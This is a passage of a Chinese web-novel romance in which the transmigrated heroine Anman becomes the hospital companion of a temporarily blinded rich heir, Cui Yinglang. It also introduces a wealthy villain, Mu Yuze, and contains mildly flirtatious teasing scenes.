崔英朗懒得搭理,让人接了电话,接着对面清甜悦耳的声音传了过来,柔软好听,“崔少爷,你在医院吗?” “在。有什么事吗。”崔英朗本来想多说几句,但是想到旁边他爹在,咳嗽了一下。 忍不住拧着眉毛,压低着嗓子回了一句。 电话那边,突然开始伤心的哭诉起来,“崔少爷,我好想你啊,你不知道你不在学校的时候,我好惨。遇到还有好多神经病,特别是昨天晚上,我真的好害怕,呜呜。” 崔英朗:“发生了什么事情,你慢慢说。” “昨天晚上,真的吓死我了,如果你在就好了,你在的话一定不会让我那么倒霉,好多人想要来狩猎我,害得我东躲西藏了好久,真是太可怕了!” 安蔓娇娇说,“你在医院吗?我好想来看你。” “我在。你来,我让人来接你。” 崔英朗忍不住往崔元戴的方向看了看,他视线有些不太清晰,还需静养,但是勉强能看出对方表情,不算是很好看。 但这人越不开心,他就越开心,嘴唇翘了翘,恶劣笑了,“……算了,你先别来,不方便。” 秘书挂了电话。 手机过一会儿又响了,安蔓发来两条消息。 病房里一片寂静,他不太敢说话,迟疑,“要念吗?” 崔英朗:“念。” 秘书犹豫了一会,“内容……” 崔英朗不耐烦,“让你念。” 秘书犹豫地念了。 “崔少爷,如果不让我来看你的话,我真的会非常、超级、极其难过的。” “……” 秘书,“对了,说到机,可以发两张机……腹肌照给我看看吗。” 第64章 第64章看笑话 64. 发完消息,安蔓又打开TEL。 里面静静躺着,备注为“大韶”“小韶”的两个账号。 与游戏一样,账号和小韶有过生疏的聊天,但和大韶,从添加后没有说过一句话。 书里说,这两兄弟一切都是共享的。 安蔓怀疑这“一切”里,或许也包括账号。也就是说,当她和韶景荻聊天时,有可能是在和账号背后的两个人同时聊。 ——而且,他们有可能知道她不是本人! 安蔓有种微妙的,被戏耍的恼怒感。 她蹙着眉,盯着小韶的账号看了一会,点开,发过去一句话。 [昨天,谢谢你的帮助(心)。] [我很开心,和你渡过了一个愉快的晚上。希望你再接再厉,准备好该准备的东西,这样等下一次见面时,我们能更加愉快。] 对面没有动静,或许是一时半会还没收到消息。 不管是哥哥还是弟弟,无论是谁看到了,都不错。两个人一起看到更好。 安蔓摁灭了手机,轻轻哼了一声,刚准备离开,手机震动一下。 她停下身,点开。 来自崔英朗的消息。 [崔英朗:过来。]. 医院空气里弥漫着消毒水的气味,走道很长,门口,走廊,电梯口,楼梯间都站着保镖,层层护卫。 越往上走,那股刺鼻的味道变淡,到了顶层,大约是专门被处理过,气味变得清新起来。 安蔓一路被查问,脸色不太高兴,按照记忆里的指引,来到上次的病房前。门没关,半敞着,轻轻一推彻底开了。 白色病房里空空荡荡,不见崔英朗的身影。倒是病床前,坐着一个看书的男人。 他穿着大衣,食指将杂志翻到了最后一页,气质沉稳,旁边的柜子上放着亮着灯的手机,闻言抬起头,露出一张和崔英朗极为相似的脸,“来了。” 安蔓停下脚步。 她呼吸微微一顿,手指不自觉地摸索手机,目光在空荡荡的病房里转了一圈,脸色有几分困惑:“崔先生。请问,崔少爷在吗?” 崔元戴脸上带着客气的笑容,合上书,彬彬有礼,“阿朗去复查了,过一会儿才能回来。坐,我们聊聊天吧。” 安蔓没有动,崔元戴笑容并不高傲,气质甚至还能算得上亲和,但和他对话很不愉快。 他身上带着某种久居高位的压迫感,即使再怎么故作亲和,也让人沉甸甸的不自觉在心里升起警惕。 安蔓:“我刚刚收到了崔少爷的消息……” “我用他的手机发的。” 崔元戴目光在安蔓的身上绕了一圈,轻轻笑了,“真是小孩子,这有什么好警惕的,瞎担心。” 他将杂志扔到床头柜上,饶有趣味的盯着安蔓。她站在门边,手指扶着门框,穿了一条浅紫色的长裙,衬托着皮肤惊人的白皙,浓密的睫毛微抖着,掩盖住眼中灯光璀璨的倒影。生涩、美丽、戒备。 她浑身上下保持着镇定,姿态却微微向外倾斜,两人始终拉开一截距离。并不是欲拒还迎,而是像是来自身体本能的、不自觉的警惕和抗拒。 崔元戴摇了摇头,“胆子这么小,怎么和崔英朗相处?他可不是什么好脾气的人。” 安蔓字斟句酌,“抱歉,请问你叫我来是?” 崔元戴莞尔:“你可以理解为你来自一个父亲的担心,崔英朗一直很想你,为了你连住院都不踏实。” 安蔓不说话,微微绷着脸。 和几个男主不一样,这种老登,全身上下都夹杂着那种历练过后游刃有余的气息,她不喜欢被压制的感觉,睫毛扬了扬,漆黑的眼睛平静地等着下文。 崔元戴看起来像是一个非常体贴、温和,无比周到的长者,说出的话也贴心:“所以我想聘请你,在他住院的这段时间里,陪伴他。” 安蔓睫毛动了动,表情为难:“但是我……还要上课。” 崔元戴道:“你可以和他一起线上听课。” 安蔓还是摇头:“恐怕我并不能胜任。” 崔元戴看了一眼腕表,站了起来,明明是相似的脸,气质却比崔英朗更加的儒雅温和,从容自若,“没关系,这并不是很难的事,你也不需要做什么,只要待在这里就好。” 老男人气场强大。 但是很有病。 安蔓听明白了,他需要崔英朗待在医院里,觉得他不安分,又不听话,于是想将她留下来做那颗吊在驴前的萝卜。 安蔓还是摇头,有点为难:“……这件事,我想应该先征求一下崔少爷的意见。” 崔元戴叹气:“再拿乔就没意思了。”他看了一眼时间,“如果你还有什么其他的要求,跟助理说,他会跟你谈。” 安蔓:“……”这种人真的好烦! 崔元戴确定了时间,大概自觉已经商定完毕,或者说他从一开始就并不认为,这是一件需要商议的事,“暂时就这样吧。时间差不多了,他也快回来了。” 安蔓很烦他,脸上努力挂着甜甜的笑容,“是吗,崔叔叔。” 他看着她,饶有兴致地笑笑,“上次我留给你的名片还在吗,如果你觉得他难伺候,或者是等他厌倦了,可以来找我,领取报酬。毕竟我儿子我还是挺了解的。” 话音刚过,外面突然传来一声巨响,病房门被重重踢开! 咚的一声,猛然撞到墙面又弹了回来—— 崔英朗一回来就听到里面的说话,其中一道尤为耳熟,他踹开门,眉目压了压,“老头子,你又做了什么!” 崔元戴不以为意,声音不疾不徐,“看你不老实,给你送个安定剂。” “关你什么事,滚。” 崔元戴:“我可是做了一件好事,儿子,你应该感谢我。” 他轻轻一笑,并不在意儿子这种大不敬的态度,对旁边走进来的助理叮嘱几句,“照顾好他。” 随后向安蔓微微点头,拍了拍大衣上的灰,稳重优雅,转身走了。 崔英朗后脑勺蚯蚓型的狰狞伤疤,被严实地包裹住,眼睛缠上了白色纱布,只露出高挺的鼻梁和下巴,嘴唇微干,没有什么颜色。 他抿着嘴唇,看都不想看那个死老头一眼,有些懊恼,怎么会这个时候见到安蔓! 他下意识地伸出手,碰了碰额头,只摸到了厚实臃肿的纱布。层层叠叠,把脸遮了个大半。不用想,也知道他现在到底是什么样。 安蔓这个疯女人,本来就说喜欢他的脸,之前他破相的样子被她看了,现在脑子都快裹成猪头了,又要被她看到,不知道这女人又会怎么想! 他抿着唇,大步走向室内,想要找个地方坐下,脚尖却不小心踢到旁边椅子,僵硬一下,忍着闷哼,伸手把椅子拽了过来。 椅子拖拉发出沉闷刺耳的噪音。崔英朗就近坐下,背对几人,把脸朝向另一边,压低声音,暴躁道,“都滚出去!” 安蔓目光转向助理,小声问:“怎么了?” 助理也只敢小声开口,生怕哪里触怒了这尊大佛:“……崔少爷上次伤口血肿,压迫神经,影响了视线。最近手术清除了,需要静养。” 安蔓若有所思,“这样啊。” 助理顿了顿,还是忍不住开口,“医生说要避光、防碰撞、禁止揉眼,不能剧烈运动,严格休息,还要保持情绪稳定。” 更多的,他没说完。 但是很显然,崔英朗现在完全最做不到。 崔英朗性格本来就差,现在受伤了,眼睛不好使,每时每刻在忍耐不适,更暴躁了。 本来想让助理把人打发走,结果听到这几个人居然聊上了,他更心烦了,“都出去。” 助理为难道:“崔少爷,你的手机……” 崔英朗:“滚。” 助理顿了顿,“好的,有事请随时喊我,我就在门口。” 崔英朗听到了关门声。 屋子里的其他人都跟着出去了。 他松了口气,心里却越发堵着,凭什么在意她的想法,就该让她眼睁睁看着他现在到底是什么样,逼她好好看看。 而对方就这么来了一趟,又走了,居然连声问候都没有,电话里说的那么黏黏糊糊,还要看他的腹肌照,还要跟他求情,结果真见面了,一句问候都没有。 崔英朗心烦意乱,额头微微刺痛,忍不住伸手按了按,眉目充满戾气。就不该让她就这么走了,拖也要拖着! 他下颚紧绷着,胸口憋着气,嘴唇被气的发干,眼睛被遮住了,但能勉强感觉到光线,回忆了一下病房的构造,站起来,想要去拿杯水。 手指比起玻璃杯,却更先触碰到软绵绵温热的肉.体,惊的他把手甩了出去,“谁!” 安蔓笑眯眯的声音,“是我。” 崔英朗站定了,眉头紧皱,声音不悦,“你怎么在这。” 安蔓双手抱胸,站在旁边,施施然道,“我一直在呀。” 崔英朗的眉目阴沉下来:“那你为什么不开口。” 安蔓拿起玻璃杯,自顾自地倒了一杯,“你要喝水吗?冷水还是热水。” 崔英朗难以忍受,胸口起伏几下,阴森森道:“回答我!所以你刚才一直在旁边看着?” 他最讨厌自己狼狈 的样子,被人看见,他甚至怀疑安蔓故意不开口,就是站在旁边,想看他笑话! 第65章 第65章坏种 65. 崔英朗没耐心等她回答,准备把人轰出去,喊道,“助理!” 他想起助理刚刚被他赶出去了,准备按铃,眼前却漆黑,伸手摩挲一下,按到了桌子,水杯,还有皮肉温热的皮肤。 手指触电般收回,意识还没反应过来,耳边已经响起安蔓的声音。 声音拉长了,软绵绵的,带了一点黏,“崔少爷,崔先生明明跟我说,你一个人很寂寞,为什么见到了我却要把我赶出去?” 崔英朗恼怒,伸手,“出去。” 安蔓叹气:“别动,刚刚碰到了我的手臂,再伸手,说不定又会碰到什么奇怪的地方。” 崔英朗手指一顿,不知道想到了什么,耳朵和脸颊忽然红了一片,唾骂道,“疯子!” 他不想理会她,食指揉了揉额头,换了个方向,就听到了旁边的人,忽然迈开脚步,将手覆在他的手背上。 她的手指又细又软,指腹光滑,手指纤长,没有一点茧子,没用一点力,却让他在原地停住。 手掌被抓住,她的手指滑动一下,钻入掌心,与他十指交握。然后牵引着,领着他一步步向旁边走去,停在一边,将他的手放在按铃边。 安蔓:“按吧。” 崔英朗手指不自觉的蜷缩,反倒有点迟钝,“……你?” 安蔓叹气,很是无奈,“崔少爷,本来呢,我是想留下来好好陪你,但你既然这么讨厌我,那我走就是了。” 她抬手按下响铃,一阵刺耳的铃声后,病房门被人从外敲响。 助理将门开了一条缝,识趣地眼睛一点也没往里瞄,低声道,“崔少爷,有事吗?” 安蔓扬声道,“他找你有事。” 然后转头,楚楚可怜开口,“既然你不想我留在这里,我走就是。” 她将刚刚自己特地倒的冷水,塞到崔英朗手里,轻轻哼了一声,这人只配喝冷的。 然后无视有点迟疑的崔英朗,扭头,就往屋外走去,转眼就走出病房。 崔英朗握紧了玻璃杯,手心的热冷了下来,他喝了一口,冷冰冰的,注意力根本没法集中,“我爸走了吗?” 助理走进来,为他拿了手机,放在手边:“走了。” 崔英朗握着那杯冰水,又喝了一口,眉头被水冰的拧了起来,嘴唇发白,略带失神,有种阴森的俊美,“今天他为什么突然来了,是皇室那里给他施压了?” 崔英朗是皇室和崔家结合的产物,是崔母独生子,崔家的唯一继承人,身份金贵,不容闪失。健康情况更是重中之重。 助理为难,费力想理由:“崔先生应该是办公时路过,特地来看你。最近中心区出了一群暴徒,到处搅乱秩序,他忙碌中特地抽空……” 崔英朗嗤笑,“算了,我知道了。” 助理松了口气,这位大少爷脾气坏,性格糟,这份工作大部分的难度都来自于他。要是能老实配合,他们会轻松很多,“……外面吩咐过,在你病好之前都不许离开医院,如果你有什么要求可以随时通知我。” 崔英朗置若罔闻,神色阴晴不定,半晌,突然道,“安蔓怎么来的这么快。” 助理怔忪了一下,才意识到他口里的名字指谁,连忙回答,“安小姐今天,好像本来就在附近。” 崔英朗抬手喝完水,眉头拧得更紧了,指腹被玻璃杯压的发白,不自觉舔了舔嘴唇,声音点闷闷的,“你,等会查一下她今天来医院干什么。然后……” 助理专心听着,等待下文。 这位少爷,却停顿了足足有五六秒,才别扭开口,声音低低的。 “……然后去看看她走了没有。” 安蔓走出病房,放慢脚步,慢吞吞地拿出手机翻了一下。 陆珈兴奋地回了很多消息。 [安蔓,你走了吗?] [我听说你去体检了,我会帮你时刻注意结果,一出报告就通知你!不用担心,这件事我会保密的。] 他大概没什么人陪伴,兴奋无比,发来了好几张照片,还抱着她送来的花,比了个剪刀手,拍了张自拍发过来。 安蔓翻了一下,没什么心情,敷衍一句,[谢了。] 然后才打开聊天框,查看他人消息。 韶景荻回复了一条信息,像是群发。 [生日邀请(电子请柬)。] 论坛上也有人开始兴奋透露,自己收到了韶家的请帖,吹嘘这次将会大办特办。 此外,就没有下文了。 安蔓无聊地关上手机,放慢脚步,看崔英朗是临时决定,没来得及再买束花做做样子,只能加倍发挥一腔真情。 走廊很长,脚步又放轻了,短短一路,走了五六分钟,中途还和来往的医务人员打了几声招呼,等走到电梯口的时候,她刻意停顿几秒,终于听到了后方急促的脚步。 助理赶了上来,礼貌叫住了她,“安小姐!别走!崔少爷找你!” 安蔓手指按下电梯,慢半拍转了过去,脸上露出惊讶的表情,“找我?” 助理成功拦住,松了一口气:“是的,应该是有什么话要说。” 安蔓有点为难,还是轻轻点头,“好吧。” 她跟人回到了病房,站到刚才的位置,房间门再次带上。 崔英朗还站在刚才的位置,一身蓝白条纹的病号服,眼不能视,虚弱惨白,表情恶狠狠的,看起来出乎意料的好欺负。 安蔓挑了挑眉,感觉现在就算把他踹倒,狠踩几脚,也完全做得到。 她故意加快脚步,掐着声音,甜腻腻的靠近他,“崔少爷,我就知道你不会赶我走。” 崔英朗身体一等靠近,便僵硬起来。 安蔓伸手按住他的肩膀,肌肉警惕隆起,硬邦邦的,垒块分明,触碰到哪里,哪里就变硬,十分有趣。 崔英朗压低眉毛,摸索着按住她的手,放在怀里,他此生最讨厌这种不受控制的弱势,一阵汗毛竖立,“停!” 安蔓故意靠近他,踮起脚尖,“怎么了崔少爷,你好硬啊。” 崔英朗拧起眉毛,耳朵像是被清风拂过,又痒又软,古怪的感觉让他汗毛倒竖。 没有镜子,眼前漆黑,他看不到自己的耳朵红的滴血,干脆恼怒的将她抱在怀里,死死搂着,恶意道,“这样也硬吗?” 安蔓感受了一下,对方的体型大了她一圈,因为紧张,全身肌肉都死死的绷着,“崔少爷,你怎么全身都硬,好硌人啊。” 崔英朗耳朵红的吓人,大脑嗡地一声,理智弦断,忽然低头在她的脖子上咬了一口。 安蔓皮肤嫩,脖子这个地方更脆弱,又接近脉搏,贴近时能听到一下一下,鼓噪、平稳的心跳。他不敢用力了,只能用牙齿,轻轻碾着一块皮肉,刚一下口,又听到她喊“痛!” 于是不得不又松了口,把整个头埋在他身上,额头抵着安蔓单薄的肩骨,压低声音说,“不许说了。” 她怎么满脑子黄色废料! 什么都往那个地方扯,但凡他状态好一点,根本不会放过她! 这个疯女人,怎么那么注重□□,色相,以前也是这样,离了这些就不会说话了,都不懂好好开口。 崔英朗额头在肩膀上蹭了蹭,声音嗡嗡的,“你正经一点,今天老头子给你许了什么条件。” 安蔓手指被他握住了,动不了了,只能软绵绵地搭在他的手心,笑了一声,“就这些。” 崔英朗浑身莫名燥热,喉咙滚动了几圈,声音压着,压下满脑子乱七八糟的念头,“以后离他远点,知道吗!那个老东西不好惹,根本不是什么好人。” 崔元戴从来没有洁身自好的习惯。 他很懂享乐,在与妻子分居之后,便过上了花钱如流水的生活,眼光高,挑食,身边却从不缺情人。每次安蔓和他单独相处,就会让崔英朗打心里不爽。 安蔓赞同道,“没事,我也讨厌他。” “老头子就是趁我没法打他。”崔英朗嗡声嗡气,恶毒说,“现在把我 锁在这里,趁机报复我。你讨厌他更好,等我出去了,帮你好好整他一顿。” 安蔓歪了歪头,好奇:“你不担心崔先生停你卡吗。” 崔英朗无所谓,“反正我不缺钱。气死他继承遗产算了。” 他有点担心会不会抱太紧,又咬牙,想通了,不管她喜不喜欢,就要抱着! 崔英朗埋在她的肩头,恶狠狠地把人抱住,咬牙切齿,“对了,慕玉泽你认识吗?” 安蔓觉得这个名字有点耳熟,“不认识,他是谁啊。” 崔英朗皱眉:“算是我的一个朋友……不认识就好,听到这个名字,你记得离远点。” 抱了一会,助理又敲门进来,“少爷,安小姐,吃饭了。” 他扫了一圈,见两个人抱在一起,知道少爷默认安蔓留下,松了一口气,让人进来摆盘。 一边菜色清淡,但丰盛,有牛肝,海鱼,炖盅,都是有利病人的清淡饮食。 菜色准备了一模一样的两份。助理问,“安小姐也留下来吃吗。” 崔英朗抱了一会就松开了,“她留下来。你去隔壁给她收拾一间房,这段时间她留下来陪我。” 助理点头,“好。” 安蔓笑眯眯地,“谢谢崔少爷了。” 崔英朗不自在地蜷缩了一下手指,“好好吃,别说话。” 用完了餐,他已经接受安蔓要留下陪他的事实,让人把东西全部撤出去,关上门后,停顿了一会,别扭地坐到一边。 他还病着,脑子里闷闷地发痛,脸上不肯露一丝端倪,“既然是你自己说好了,要留下来陪我,就好好陪,别叫苦!” 安蔓眨着眼,“我要怎么陪呢,陪吃陪喝不够,还要陪睡吗?” 崔英朗恼怒,“谁在说那些东西,你过来!” 安蔓慢吞吞走过去,又被他一把抱住,声音低低地,“就这样陪我,不许挣扎……我好痛。” 可恶,显得太好欺负了,真的很难让她忍住,欺负人的欲望! 这狗东西这么脆弱,让她特别手痒,只能勉强找东西转移注意力。 系统在旁边冷不丁开口,“宿主,我知道这个朋友是谁了。” 安蔓还没反应过来,“谁?” 系统在书里检索男主朋友,没有查到人,刚刚获取名字,重新查找,终于发现为什么一开始没查到。 它吐槽道,“离谱,这个角色在书里根本不是以朋友身份出场的,而是作为原著大反派,要被消灭驱逐的对象,到处腥风血雨。” 安蔓被崔英朗像是小熊一样抱着,挣扎不得,懒洋洋地把下巴搁在他肩上,“他怎么了。” 系统继续查,越查声音变得越飘忽,像人类的情绪一样不稳起来:“这人,这个简直脑子有病啊,他做了多非常莫名其妙,很癫的事情,难怪是反派!” 安蔓终于有了一点兴趣,“怎么了?” 她分出一点心神,和系统一起探究这个原主大反派。 慕玉泽和其他几个男主一样,出生顶级,家境富贵,作为金枝塔顶尖的存在,自小顺风顺水,养尊处优,从未遇到过挫折。 因故休学,四处旅游,在外探险,热衷极限运动。 在剧情后期出场,却一回学校,就掀起轩然大波,成为女主对头。揭发她的身份,将她家的往事揭穿了,公之于众,而后驱逐她,贬低她,碾碎她。 倒也不是说他故意和女主作对,从书里看来更多的是顺手。 比起韶家双生子,这对纯粹的乐子人,还要更纯粹一点。 他做事不为享乐,就是纯坏。 系统咋舌:“宿主你要小心这个人,这纯有病啊!” 安蔓看了一会,不禁赞同,“这人脑抽吧。”. 韶景荻握着手机,看了一眼,又放下了。 他感觉到兄长在做事的间隙中冲他看来一眼,于是抬头,与兄长对视,脸上露出灿烂笑容,“怎么了?” 韶景戈平静的喝了一口茶:“有什么事吗?” 韶景荻摇了摇头,慢吞吞地翻了翻手机,声音拉长了,若有所思,“没有,只是看到一个很有意思的消息。” 韶景戈轻缀一口茶,在文件最末尾签上名,盖上公章,将文件夹合上,站起来,坐在韶景荻身边,低声说,“不管是什么事,你都没必要对我隐瞒,无论是什么你都可以告诉我。” 韶景荻犹豫了一下,有个片刻,他的笑容消失了,眼睛定定看着他,“真的?” 韶景戈没有犹豫:“真的。” 韶景荻叹气,伸手挠了挠头,有点纠结,最后还是耸了耸肩,释然道,“我刚刚看到了个消息,本来不想问你的,但是现在还是觉得应该让你知道。玉泽说要过来。” 韶景戈一顿,“玉泽?” “Surprise!”韶景荻笑嘻嘻站起来,走到办公室门前,握住把手,猛然打开,“他刚刚就跟我发消息说要给你一个惊喜来着,哈哈!吓到你了。” 韶景荻笑容灿烂,站在门边,看了一眼时间,“来了。” 第66章 第66章探病 66. 助理把安蔓安排在隔壁的陪护间。 陪护间比病房小一点,设置的更为温馨,像是一间小型公寓,卫生间、电视、床,除了厨房,该有的东西应有尽有,暖色调打底,旁边还摆了一束鲜花,十分舒适。 助理知道,这位小姐应该是崔英朗的心尖宠了,不敢怠慢,十分小心的将她带了进来,一一介绍,“衣柜是空的,请您将尺码发给我,稍后会有人采购一批应季的服装,将衣柜填满。” 安蔓转了一圈,蹙眉,“这里有监控吗?” 助理迟疑,“监控?” 安蔓心有余悸,还记得上次翻车:“我希望能有个人隐私。” 助理不知道上次的事,只当她是担心私密,连忙让她安心,“请放心,医院只有病房和休息室有监控。在其他地方对隐私的保密十分严格,如果你不放心,我等会让人再来检测一遍。” 安蔓勉强点头了,“我还没请假呢,德川旷课是会被开除的。” 助理:“安小姐,这件事也不用担心,我们会帮你请假。” 安蔓想不出来还要问什么了,“谢谢,你先出去吧。” 等人离开,把门一关,她踢掉鞋子,跳到床上。 很软!非常舒服!不愧是顶级的医院,用料扎实,跟酒店没什么两样,连空气中都充满奢侈的味道。 再这样,连她的医院恐惧症都要治好了。 安蔓舒舒服服的睡了一觉。 半夜,隔壁。 崔英朗睡得不好。 他头痛,眩晕,躺在床上,怎么调整姿势都无法入眠,只能在半夜坐起,轻轻喘气。 夜半,身边没人,医院更是死寂一片,他按着额头,开了电视。这个时间,电视上只有烂俗的爱情电影。男女主分手六年,再次相遇,男主发现女主身边,居然跟了一个6岁的小女孩,而且身边也有了丈夫。 这种情况下,男主的反应居然不是质问、追求、纠缠,而是窝窝囊囊地看着女主老公孩子热炕头,释然祝福,“你幸福就好。” 女主转身,眼角划过一滴泪:其实这是你的孩子。 崔英朗被这个剧情气的头疼,恨不得把电视砸了,换台把新闻作为背景音,辗转睡着了,梦里都是安蔓牵着没脸男人说:“崔英朗,我要带着你的孩子和他结婚。” 废物!那个男主就是废物,有老公了怎么样,墙角都撬不来吗! 崔英朗勉强睡了半夜, 第二天早上醒来精神不济,脸色阴阴沉沉,“安蔓呢。” 助理看了一眼时间,“安小姐还在睡觉。现在吃早饭吗,少爷。” 崔英朗压了压眉头,“几点了?” 助理道,“九点了,要去叫安小姐吗?” 崔英朗摇头,“算了,等她睡醒了,再一起吃早饭。” 崔英朗吐出一口气,安蔓答应了陪护他,甚至还厚着脸皮,不顾他的拒绝也要留下来,已经表明了自己的态度。 他知道自己脾气差,性格火爆,但至少第一天,还是想勉强挽回一下印象,一起吃饭。 崔英朗:“你先不要上菜,拿点面包过来。” 助理答应了,端来了一碟面包。 崔英朗拿了一块,在口中咀嚼。面包柔软,口感不错,吃起来有些干。他没吃多少,就放下了,只是垫垫肚子,等待安蔓起床。 等待途中,无聊到开始学习,听了一卷听力。 这一等——居然等到了下午三点。 不说早饭,甚至连午饭的时间点都过去了,她都还没起来! 崔英朗深呼吸,饿到胃痛,被自己气笑了,“你去叫她起床!” 他又等了十分钟,安蔓终于被敲门声叫醒。 她好久没有睡过这么长的觉,之前在学校里一直心惊胆,在特招生宿舍里多人寝室睡不好,在原主的公寓里又不习惯,反而是在这里睡饱了,不小心睡过头。 安蔓被叫醒的时候,还有点恍惚:“发生了什么?” 系统忧心忡忡,“崔姓男主等你一起吃早饭,等到了现在,他好像很生气,宿主你要不要快点去。” 安蔓舒舒服服地打了个哈欠:“才三点,不急。” 她没有第一时间出门,而是慢吞吞到衣柜,选了一条裙子。洗漱完,再不紧不慢地打开门。 等她一出来,周围人全部视线一亮,就连助理也忍不住多看了好几眼,太漂亮。 衣服其实就是普通的衬衫、包臀裙,搭配了雾蓝色的领结,领结袖口处别了珍珠,设计的简单雅致,但是架不住她有一张非常出彩又漂亮的脸,平时冷淡的面容气色极佳,眼角浮出一点浅浅的嫣红。 助理都忍不住多看了一眼,这种漂亮的大美人,不管干什么都让人忍不住选择原谅,难怪少爷喜欢。可问题是,现在再好看他也看不到! 安蔓撩了撩头发,施施然走进病房,“几点了?” 崔英朗臭着脸,生着气,不说话。 助理连忙道,“快4点了。” 安蔓摸了摸肚子,嘟囔道:“难怪我饿了,吃饭吧。” 助理忙不迭点头,悄悄看了一眼崔少爷的脸色,“好的。” 晚餐被一道一道的布置上来,还是同昨天一样的菜色,清淡,营养,健康,乏味。 安蔓漂亮的大眼睛眨了眨,眼中浮现一丝为难,“有其他的吗?我好饿,想吃点有油水的。” 助理:“有的,请稍等。” 他出去片刻,接着,一桌更丰盛的菜色被摆了进来,牛排、羊腿,甚至还有盐局海鲜。 一丝丝香味传了过来。 安蔓声音软绵绵,笑盈盈道,“谢谢,我好喜欢。” 助理:“不客气。” 崔英朗脸色阴沉的滴水,这两个人一唱一和的,完全把他撂开了。 他从早上到现在只吃了面包,一心等安蔓起床,谁知道她起来了,连问都不问候他一句,就这样自顾自吃了起来,有这样陪护病人的吗! 崔英朗食不知味地吃完了一顿,没什么食欲,大概是已经气饱了。 而旁边那两个,居然还聊起天来了! “助理哥哥,今天的螃蟹真好吃,但我想吃帝王蟹,下次可以吃到吗?” “羊腿真不错,不过量太多了,吃不完,好可惜。” “唔,牛排不想吃,助理哥哥,你有什么好吃的推荐吗?” 助理是个年轻人,被她一声声哥哥,叫的耳朵都红了起来,硬着头皮,一一回答,“可以,明天我让他们做精致一点。” “想吃什么随便点。” “都是附近的酒店大厨刚做的,很新鲜。” 哐当一声!桌上的碟子倒了。 瓷白的碟子,连同面包一起掉在地上,碎成无数片。 助理猛然回神,赶紧闭了嘴,不敢回头看崔英朗的脸色。 崔英朗脸上凝聚风暴,一字一顿,“滚出去。” 他被气得头痛,这两个人当他是死了吗?他还在旁边呢,就这么打情骂俏,连装都不装一下了。 他重重把银勺扔在地上,按着桌子就想掀翻了,又突然想起安蔓好像还没吃完,愣了愣,抬手就将自己桌前的饭菜全部扫在地上! “都滚出去!” “少……” “滚!离开我视线。” 助理低头,不敢应声,转头出去,叮嘱其他人进来打扫卫生。 其他人打扫完卫生,又自动退出房间。 只剩两人面对着面。 安蔓坐在凳子上,不紧不慢地捏着手上的杯子,喝了一口水,对崔英朗令人噤若寒蝉的脸色仿佛毫无察觉。 “干嘛那么生气嘛。” 她声音娇娇软软的,还带了一丝慵懒,面色红润,如同熟透了的樱桃。 “我都还没有生气,我睡得好好的,被你突然叫起来,一进来就面对你这副臭脸,我也很害怕呀,不要发火嘛。” 崔英朗按了按额头,不禁冷笑,“我记得你是来陪护我的,这就是你的陪护,在我面前和别人调情!” 安蔓撩了撩自己的长发,脸色红润润的,嘴唇微微扬起,“我故意的。” 崔英朗声音一顿,胃更痛了,“你故意的,你——” 安蔓看着他被气的狰狞脸色,眼睛弯得更深了一点,撒娇,“我想看看你在不在乎我嘛。” 崔英朗不吃这套,他想到半夜看的那个莫名其妙的电视剧,男女主长了嘴不说话,最后以一种荒谬的理由分手。 他代入不了其中任何一人,却想起了那时候的心情,指尖用力地顶额头,“你别以为我暂时失明了,就能在我面前肆意妄为,我……” 安蔓打断他:“我今天穿了短裙。” 崔英朗话说一半被截断,不上不下,“什么?” 安蔓说:“是一条灰色的包臀裙,很短,只到大腿,有点紧身,还配了黑色丝袜。今天穿出来的时候,我都有些不好意思了。” 崔英朗眉头拧起,想让她滚出去,脑子里却不由自主的构思起了具体的画面。 灰色的包臀裙,黑丝,勒着大腿颤巍巍的皮肉,太紧,勒出一点细细的红痕。 裙子太短了,只能勉强遮掩着,黑色丝袜将她纤细的腿勒的浑圆,肉感十足。 安蔓站了起来,理了理衣摆,“衣服是一件紧身的衬衫,也很紧,穿着让人怪不好意思的。” 紧身的衬衫,特别凸显身材。 这种风格,他以前从来没有看到过,但莫名觉得一定合适。她那张脸那么好看,穿什么都合适。 反正她又漂亮身材又好,虽然性格烂了一点,但人长得确实好看。 崔英朗的耳朵更红了,伸手忍不住揉搓了一下,耳尖滚烫,摸一下才发现热的吓人。 脑子不受控制,随着她软绵绵的讲述产生了更多的画面,眼睛看不到,其他感官才更加灵敏。 “这身衣服走路的时候真不方便。”安蔓抱怨,“不过谁让你喜欢呢。” 崔英朗脱口而出,“我怎么会喜欢这种东西!” 安蔓拉长了声音,有点困惑的歪了歪头,漂亮的眼睛,直视他突然面红耳赤的脸,“真的不喜欢吗,我还以为是你喜欢,衣柜里才会出现这种衣服,特地穿来给你看呢。” 崔英朗恼怒,“我怎么知道!又不是我买的!” 他本来就没睡好,现在被刺激了一下,又气又怒,脑子里乱糟糟的。 各种黄色废料把大脑堵得严严实实,脑子里只剩安蔓雪白的脸,微红的嘴唇,嘴唇微张,脸颊像是熟透了的樱桃,丰沛多汁。 安蔓走到崔英朗身边,按着他的肩膀微微俯身,心里嘀咕这也太好欺负了,这样就熄火了。 一边笑眯眯地端详他的红透的脸,“崔少爷,别生气了,我来给你道歉了。这身衣服怎么样?” 崔英朗耳朵发红,嗤笑:“我又看不到。” 安蔓为难,“那怎么办呢。” 她握住崔英朗的手指,按住自己的腰,“只能辛苦你的手,亲自摸一摸了。”. 中心区。 一辆银色的豪车在路上驰骋。 韶景戈在开车,韶景荻坐在后座,旁边坐着一个长相非常出色的男生。 他金发,蓝色眼睛,白皙,皮肤颜色很淡,缺 乏色素,唇角有颗痣,睫毛浓密漆黑,笑起来清纯漂亮。 如果安蔓和系统在的话,就能意识到这位少爷,就是这本书里的反派。 慕玉泽漫不经心,“也就是说,阿朗喜欢上了一个女生,结果一直爱而不得?” 韶景荻懒洋洋地靠在后座的沙发上,在车内冰柜里,取了两个高脚杯,给慕玉泽倒了一杯香槟,自己倒了一杯白开水,“说的不错。” 慕玉泽喝了一口香槟,勾唇,“那天你急着甩开我,想要回去保护的也是那个女生?” 韶景荻:“唔,是这个意思。” 慕玉泽放下酒杯,忍不住哈哈大笑起来,因为眉目出色,这种夸张的笑容也不难看,反倒有种逼人的魅力,“所以说你们都爱了不得?” 韶景荻不高兴了:“你这么说话就难听了。别说我们了,说你的事,你家里那件事摆平了?那么大的事故。” 慕玉泽随意:“还行吧。” 韶景荻见他不想聊,轻轻翻了翻白眼,靠在一边,自顾自的喝起了白开水。慕玉泽这个家伙,这段时间不知道听了什么消息,突然从国外跑了回来,他原本是德川的学生,一年前转学了出去,最近办好了手续又重新转回来。 